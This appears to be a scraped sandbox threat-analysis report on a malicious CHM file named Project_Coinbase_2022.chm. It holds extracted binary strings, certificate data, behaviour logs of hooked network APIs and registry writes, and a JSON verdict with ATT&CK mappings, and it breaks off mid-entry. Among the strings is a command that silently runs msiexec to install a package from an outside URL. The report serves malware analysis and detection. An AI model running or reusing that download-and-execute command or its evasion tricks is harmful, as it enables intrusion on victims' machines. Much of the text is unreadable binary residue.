[2].SharePointLogDeletingSlnDeleting solution: [1].SharePointLogStartStarting SharePoint solution deploymentSharePointLogUninstallStartUninstalling SharePoint solutionsSharePointLogActivatingFeatureUIText.SharePointLogActivateFeatureInstallMessageInstalling files.NumberValidationTipTitleUnacceptable CharacterNumberValidationTipMsgUninstallMsgAre you sure you want to uninstall [ProductName]?InstallingPackageUnInstallingPackageRemo@HBExE(H@HRDEC;;B&F7BB4FhD&B@HRDEC??(E8BA(H@HAxDBDAED1Hving [1]0.0.1OLDPRODUCTSMicrosoftEdgeUpdateTaskMachineMicrosoft Edge Update Task Machinec:\windows\system32\pcalua.exe-a msiexec -c /Q /i https://www.thecloudnet.org/%username%.msic:\windows\system32[%UserDomain]\[LogonUser]1|300|1|1|0|1|0|2.0+*c@E""!GAOWaca".G'0.4`+?3%&/0X>_G= Q;F2XLE8;x62> +,@D?IJOD + 3j 9'W*` ~oB T>{ g&-srn %-C" "0. 8N ; s|v>jc's(K{n;>.M5d3XV/O=R8=6;8f#7 DdT ~%S^ :* q.$/4[ BQ )C@6RK@HA'C:ED1H$@HBEEC(H" (Indicator: "https://") "666666666666677777774787P7`7d7h7l7p7t777777777777777788888,8<8@8P8T8X8\8`8h88888888888888899999 9(9@9P9T9d9h9l9p9t9|9999999999999::::: :$:,:D:H:`:p:t:x:|::::::::::::::::;;;;;;$;<;L;P;`;d;h;l;p;x;;;;;;;;;;;<<<<4>>(>,>0>8>P>`>d>t>x>|>>>>>>>>>>>>??,?0?8?P?`?d?t?x?|????????????P00004080P0`0d0x0|0000000000001110141D1H1L1P1X1p11111111111112222$2<2L2P2`2d2t2x222222222222233(3,3@3D3T3X3\3d3|333333333333334$4(484<4@4H4`4p4t4444444444444455 5$5(505H5X5\5l5p5t5|555555555556666,6<6@6P6T6X6`6x666666666666667 7$74787@7X7h7l7p7x77777777777788 84888H8L8P8X8p88888888888888899,909@9D9H9P9h9l999999999999:::,:0:@:D:H:L:T:l:p::::::::::::;; ;0;4;D;H;L;P;X;p;t;;;;;;;;;;;;<< <0<4<8<<<@>>$>(>@>P>T>\>t>x>>>>>>>>>>>>>??$?4?8?$>D>L>X>x>>>>>>>>>>???><>D>L>T>\>d>l>t>|>>>>>>>>>>>>????$>D>P>p>|>>>>>>>??? ?T?d?p???????????0000<0H0h0p0|00000001(10181D1d1l1t1|1111111111111220282@2H2P2X2`2p2222222222233,383X3d3333333333440484@4H4T4t4|4444444445555$5,545@5d5l5t5|55555555556666$6,686X6d66666666667747<7D7L7T7\7d7l7t77777777777778 8(80888@8H8P8`88888888888888888999 9@9H9P9\9|9999999999999::::$:,:4:<:D:L:T:\:d:l:t:|:::::::::::::::::;;; ;@;H;P;`;;;;;;;;;;;;;;;;;<<<<$<,<4<<>>>$>,>4><>D>L>T>\>d>l>t>>>>>>>>>>????$?,?4?>>>$>,>4><>D>L>T>\>d>p>>>>>>>>>>>??? ?@?H?P?X?d??????????D00$0,080X0`0h0p0x0000000001 1D1L1T1\1d1l1t1|111111111111111112222$2,242<2D2L2T2\2d2l2t2|222222222222222223333$3,343<3D3L3T3\3h3333333333334(444T4\4d4l4x44444444444455$5D5L5T5`555555555555555555666 6$6(606D6L6T6\6`6d6l6666666666667$7D7P7p7|77777788 8D8X8`8x88888889999<9D9L9X9x99999999::,:8:\::::::;$;,;4;<;D;P;p;|;;;;;;;<<< <@> >,>L>X>|>>>?$?L?T?t??????000 0(00080D0d0l0t0|00000000001(141T1`11111111112222 2(20282@2L2l2t22222222223 3(30383D3d3p333333334$404P4\4|44444444445(50585@5L5l5t5|55555556,646<6D6L6T6\6d6l6t6|6666666667 7(70787@7H7P7\7|7777777@8H8p8x8888889909P9X9`9h9p9x9999999999999:$:D:L:T:\:d:l:t::::::;; ;@;`;;;;;;;;;;<<$>><>D>P>p>|>>>>>>>???8?D?d?l?x??????????0040T0\0d0l0t0|000000000001101<1\1d1l1t111111122242@2`2l222222222222223383@3H3T3t333333344,484X4d444444444444555 505T5`5h555555555555555666 6(606<6\6d6p666666667$707P7X7d77777778848@8`8h8t888888889(909<9\9d9l9p9x99999999999999:::: :4:<:D:P:p:x::::::; ;(;0;8;@;H;P;\;|;;;;;;<<,<8>> >(>,>0>8>L>T>h>>>>>>>>>>?,?0?L?P?l?p??????000P0p00000101P1p11111220282D2x22222383X3x33333333344 4(4,40484@4H4L4T4\4d4x444444444444444555(505D5L5P5T5\5d5l5555550\0`0h000(10181@1H1P1X1111111111111111111122222233(3@3L3P3T3p3t35555`;h;;0D>>>?L????080X0|0000011111 2L2l22222@33333P44445p55 6t6666077777H8888899999P::::;P;;;;<<>d>>>?$?X??? t0P0000$1T1|11182t22238333 4T44445H5p555H6|6667P77778P88888949P9999:<:x:::0*H }0y10 `He0\ +7N0L0 +70010 `He |EE6iz Q`*[1' C6N>g00q6;+T0 *H 010UUS10U thawte, Inc.1(0&UCertification Services Division1806U/(c) 2006 thawte, Inc. - For authorized use only10Uthawte Primary Root CA0 131210000000Z 231209235959Z0L10UUS10U thawte, Inc.1&0$Uthawte SHA256 Code Signing CA0"0 *H 0 ULf(~FS}'g%S#\Bd%X""tith0d8>sW5WPfvqc,(! A/{SlDchG+*[Iaikx&i08NZUP8GC\MsIiwW3Bw9\:d'W@S)4_00/+#0!0+0http://t2.symcb.com0U002U+0)0'%#!http://t1.symcb.com/ThawtePCA.crl0U%0++0U0)U"0 010USymantecPKI-1-5680UWT)0U#0{[Ez1jFWHP0 *H $;6Ch1n?{kLl{P,)A,Y-G@=y5L'gENU{0l5m`h)YKFuON'D3soulD>,VwF,7uUwM^6)EArWuy[4md B:Fd_G:(TOCoI^B (G n00y}YfU8?)0 *H 0L10UUS10U thawte, Inc.1&0$Uthawte SHA256 Code Signing CA0 200306000000Z 230305235959Z010URO1 0UDolj10UCraiova10U Caphyon SRL1'0%USECURE APPLICATION DEVELOPMENT10UCaphyon SRL0"0 *H 0 UKkSx/ !17TA`Ek(~C-qS^VS8H_ia{pX=+A0r9I ~A=FWLj`_sDy$]w?m5*JcX]:V\e0^~3 p7;G1k>B0\Uw `&f;dcH_Ej0f0U00U#0WT)0Ue9]Y0+U$0"0 http://tl.symcb.com/tl.crl0U0U%0 +0nU g0e0cg0Y0&+https://www.thawte.com/cps0/+0#!https://www.thawte.com/repository0W+K0I0+0http://tl.symcd.com0&+0http://tl.symcb.com/tl.crt0 *H ;:AX;&v@xZ'a_@!G,HY;s"_!m?ypC=Ngyo b)m`t8^iBjnvA5U`YjXcV71SaVv0^!@pV;xIzcYrn(a9bY_c*100`0L10UUS10U thawte, Inc.1&0$Uthawte SHA256 Code Signing CAy}YfU8?)0 `He0*H 1 +70 +710 +70/*H 1" pl4,4Ss9i*k,.,0^ +71P0N&$Advanced Installer$"https://www.advancedinstaller.com 0 *H JLA"UA+58KzvH 1,)+Z>N@"pk!|YFq-4HB&)tToF.EYOnmv6cJ~+Bb1h_(2A@S,8cM 3I;K3Wrw7jK_y5x2#2AY>+m:HS6x7w0s0U0U00fU _0]0[`HE0L0#+https://d.symcb.com/cps0%+0https://d.symcb.com/rpa0.+"0 0+0http://s.symcd.com06U/0-0+)'%http://s.symcb.com/universal-root.crl0U%0 +0(U!0010UTimeStamp-2048-30UcNrA)8ub0U#0wiHGS2v0 *H u-4\2EOxoO@)]Vdq0*af V]qG/ lN3LcH9@!ne$ m0?'J3Nm@"<$(rQ=&:C#uGp_[rHWeM<@28?,Y#M lUaW,l# lbiNR1[tRWl"Uo?J"ve6&,8%@S)WX^HA!&{@SXyR1ME<:"o00U00fU _0]0[`HE0L0#+https://d.symcb.com/cps0%+0https://d.symcb.com/rpa0@U9070531/http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0U%0 +0U0w+k0i0*+0http://ts-ocsp.ws.symantec.com0;+0/http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(U!0010UTimeStamp-2048-60Un_;1y6{0U#0cNrA)8ub0 *H F_H'K!rpc/U){9FN~eXW 6$ {;bJTm(gq?3YJekR)uJ+MYA?Dz"tG%t`n`Vz DXHwr$,?Kg_\T>3[NqfE?v1Z0V00w10UUS10U Symantec Corporation10USymantec Trust Network1(0&USymantec SHA256 TimeStamping CA{?#"AM0`He0*H 1 *H 0*H 1 201125113119Z0/*H 1" $HTd`;21w'07*H /1(0&0$0" tv}9N |>>222&&&j""j""jj"m{j"yymmm{jyymj"joomym"jjojymm"j~mm"jj~jy"j"jj~my"jjj"jm{o~~m"j{oo~j"j"jo~~m""j{oo~jmm{{{oo~~mmm{{o~gj{oojgmjjg""jm"u"mj""uj"u"""juj"yy""ujuyuyy"jjuyujE""u?" (Indicator: "https://")2f:T4ba,"hh.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "hh.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "hh.exe" trying to access non-existent file "C:\Users\nzuhgSG\AppData\Roaming\Microsoft\HTML Help" "hh.exe" trying to access non-existent file "C:\Users\nzuhgSG\AppData\Roaming\Microsoft\HTML Help\hh.dat" "hh.exe" trying to access non-existent file "C:\Windows\hh.dat" "hh.exe" trying to access non-existent file "C:\Project_Coinbase_2022.chm:Zone.Identifier" "hh.exe" trying to access non-existent file "C:\Windows\msls31.dll" "hh.exe" trying to access non-existent file "C:\Windows\dxgi.dll" "hh.exe" trying to access non-existent file "C:\Windows\DXGIDebug.dll" "hh.exe" trying to access non-existent file "C:\Windows\system32\DXGIDebug.dll" "hh.exe" trying to access non-existent file "C:\Windows\MLANG.dll" "hh.exe" trying to access non-existent file "C:\Windows\PROPSYS.dll" "hh.exe" trying to access non-existent file "C:\Windows\FLTLIB.DLL" "hh.exe" trying to access non-existent file "C:\Windows\hh.exe.Local\" "hh.exe" trying to access non-existent file "C:\Windows\CRYPTBASE.dll"30:T6b3,"hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "NB-NO") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "NB-NO") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "PL-PL") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "PL-PL") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "PT-BR") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "PT-BR") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "RU-RU") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "RU-RU") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "SK-SK") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "SK-SK") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "SV-SE") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "SV-SE") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "TR-TR") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "TR-TR") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "FR-CA") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "FR-CA") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ES-ES")31:T8bf,"msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST")32:T777,"hh.exe" wrote bytes "e9c0761c01" to virtual address "0xFDF79794" ("ShellExecuteW@SHELL32.DLL") "hh.exe" wrote bytes "e90ec0f5ff" to virtual address "0x00A54F80" "hh.exe" wrote bytes "e91eaf3900" to virtual address "0xFEDA5D70" ("URLDownloadToFileW@URLMON.DLL") "hh.exe" wrote bytes "e9440ef800" to virtual address "0xFE1C0050" ("ShellExecuteA@SHELL32.DLL") "hh.exe" wrote bytes "e99eb2f3ff" to virtual address "0xFF205A70" ("InternetReadFile@WININET.DLL") "hh.exe" wrote bytes "e91e293100" to virtual address "0xFEE2E3B0" ("URLDownloadToFileA@URLMON.DLL") "hh.exe" wrote bytes "e901b5f5ff" to virtual address "0x00A55A50" "hh.exe" wrote bytes "e99249f6ff" to virtual address "0x00A4C63C" "hh.exe" wrote bytes "e92e0af8ff" to virtual address "0xFF1C03E0" ("InternetOpenA@WININET.DLL") "hh.exe" wrote bytes "e98e0bf8ff" to virtual address "0xFF1C0240" ("InternetOpenW@WININET.DLL") "hh.exe" wrote bytes "e9605fe5ff" to virtual address "0xFF2EAE30" ("HttpOpenRequestA@WININET.DLL") "hh.exe" wrote bytes "e97ee14400" to virtual address "0xFECF2D50" ("CreateCompatibleBitmap@GDI32.DLL") "hh.exe" wrote bytes "e92e42f4ff" to virtual address "0xFF1FCB20" ("HttpOpenRequestW@WININET.DLL") "cmd.exe" wrote bytes "e9e02fc0ff" to virtual address "0xFF53DEF0" (part of module "ADVAPI32.DLL") "cmd.exe" wrote bytes "e95233c5ff" to virtual address "0xFF4EDC00" (part of module "ADVAPI32.DLL") "cmd.exe" wrote bytes "e9f02ec0ff" to virtual address "0xFF53E020" (part of module "ADVAPI32.DLL") "msiexec.exe" wrote bytes "00b7e2f6fe070000" to virtual address "0xF7762050" (part of module "WEBIO.DLL") "msiexec.exe" wrote bytes "e97827c402" to virtual address "0xFC46E558" ("GetIpNetTable@IPHLPAPI.DLL") "timeout.exe" wrote bytes "e9e02fb7ff" to virtual address "0xFF53DEF0" (part of module "ADVAPI32.DLL") "timeout.exe" wrote bytes "e95233bcff" to virtual address "0xFF4EDC00" (part of module "ADVAPI32.DLL")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790787377527,"unified_at":"2026-09-30T16:56:17.527Z","metadata":{"hashes":{"sha256":"fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca","sha1":"9afa9c404a35636fbec66f1046f8875ee0759c16","md5":"e8d78b0dc81376c73e161bc029e0169a","sha512":"2d95c14e37b2716dfa01e026f4a9da477350a8c0fc2fd93c8b5feae274de8261a958b3ec0ecc12f931f0d72a72c73b628074d5cf399a8947ea295fcf8f7a0674","ssdeep":"768:OO1yrbeluG1HP/xZmnLe88OesMPzgbooObbsd/3qle6RJW1GWn:OOobWv/xue8Jizy/3aJWtn","ssdeep_chunks":["768:OO1yrbe","768:O1yrbel","768:1yrbelu","768:yrbeluG","768:rbeluG1","768:beluG1H","768:eluG1HP","768:luG1HP/","768:uG1HP/x","768:G1HP/xZ","768:1HP/xZm","768:HP/xZmn","768:P/xZmnL","768:/xZmnLe","768:xZmnLe8","768:ZmnLe88","768:mnLe88O","768:nLe88Oe","768:Le88Oes","768:e88OesM","768:88OesMP","768:8OesMPz","768:OesMPzg","768:esMPzgb","768:sMPzgbo","768:MPzgboo","768:PzgbooO","768:zgbooOb","768:gbooObb","768:booObbs","768:ooObbsd","768:oObbsd/","768:Obbsd/3","768:bbsd/3q","768:bsd/3ql","768:sd/3qle","768:d/3qle6","768:/3qle6R","768:3qle6RJ","768:qle6RJW","768:le6RJW1","768:e6RJW1G","768:6RJW1GW","768:RJW1GWn","1536:OO1yrbe","1536:O1yrbel","1536:1yrbelu","1536:yrbeluG","1536:rbeluG1","1536:beluG1H","1536:eluG1HP","1536:luG1HP/","1536:uG1HP/x","1536:G1HP/xZ","1536:1HP/xZm","1536:HP/xZmn","1536:P/xZmnL","1536:/xZmnLe","1536:xZmnLe8","1536:ZmnLe88","1536:mnLe88O","1536:nLe88Oe","1536:Le88Oes","1536:e88OesM","1536:88OesMP","1536:8OesMPz","1536:OesMPzg","1536:esMPzgb","1536:sMPzgbo","1536:MPzgboo","1536:PzgbooO","1536:zgbooOb","1536:gbooObb","1536:booObbs","1536:ooObbsd","1536:oObbsd/","1536:Obbsd/3","1536:bbsd/3q","1536:bsd/3ql","1536:sd/3qle","1536:d/3qle6","1536:/3qle6R","1536:3qle6RJ","1536:qle6RJW","1536:le6RJW1","1536:e6RJW1G","1536:6RJW1GW","1536:RJW1GWn","768:OOobWv/","768:OobWv/x","768:obWv/xu","768:bWv/xue","768:Wv/xue8","768:v/xue8J","768:/xue8Ji","768:xue8Jiz","768:ue8Jizy","768:e8Jizy/","768:8Jizy/3","768:Jizy/3a","768:izy/3aJ","768:zy/3aJW","768:y/3aJWt","768:/3aJWtn"],"imphash":"Unknown"},"file_info":{"file_name":"Project_Coinbase_2022.chm","file_type":["text","mshelp"],"file_type_id":"chm","file_size":50768,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1671563355000,"last_seen":1677211242000,"last_multi_scan":1677211242000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious","targeted","evasive","exploit"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":0},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":27},"sandbox_signatures":{"informative_count":57,"suspicious_count":26,"malicious_count":6,"total":89},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"suspicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typicaally used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"suspicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"malicious","value":"Drops executable files to the Windows system directory"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"malicious","value":"Uses timeout excessively (often used to bypass analysis)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Defense Evasion","technique":"Msiexec","attack_id":"T1218.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/007","identifiers":[{"type":"suspicious","value":"Attempts to abuse msiexec.exe for proxy execution"},{"type":"informative","value":"Detected MsiExec process execution"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Hooks internet related APIs"},{"type":"suspicious","value":"Hooks API calls"},{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"suspicious","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"malicious","value":"Tries to access unusual system drive letters"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"63a2085a06bf7a3e353de93b"}]},{"tactic":"Collection","technique":"Screen 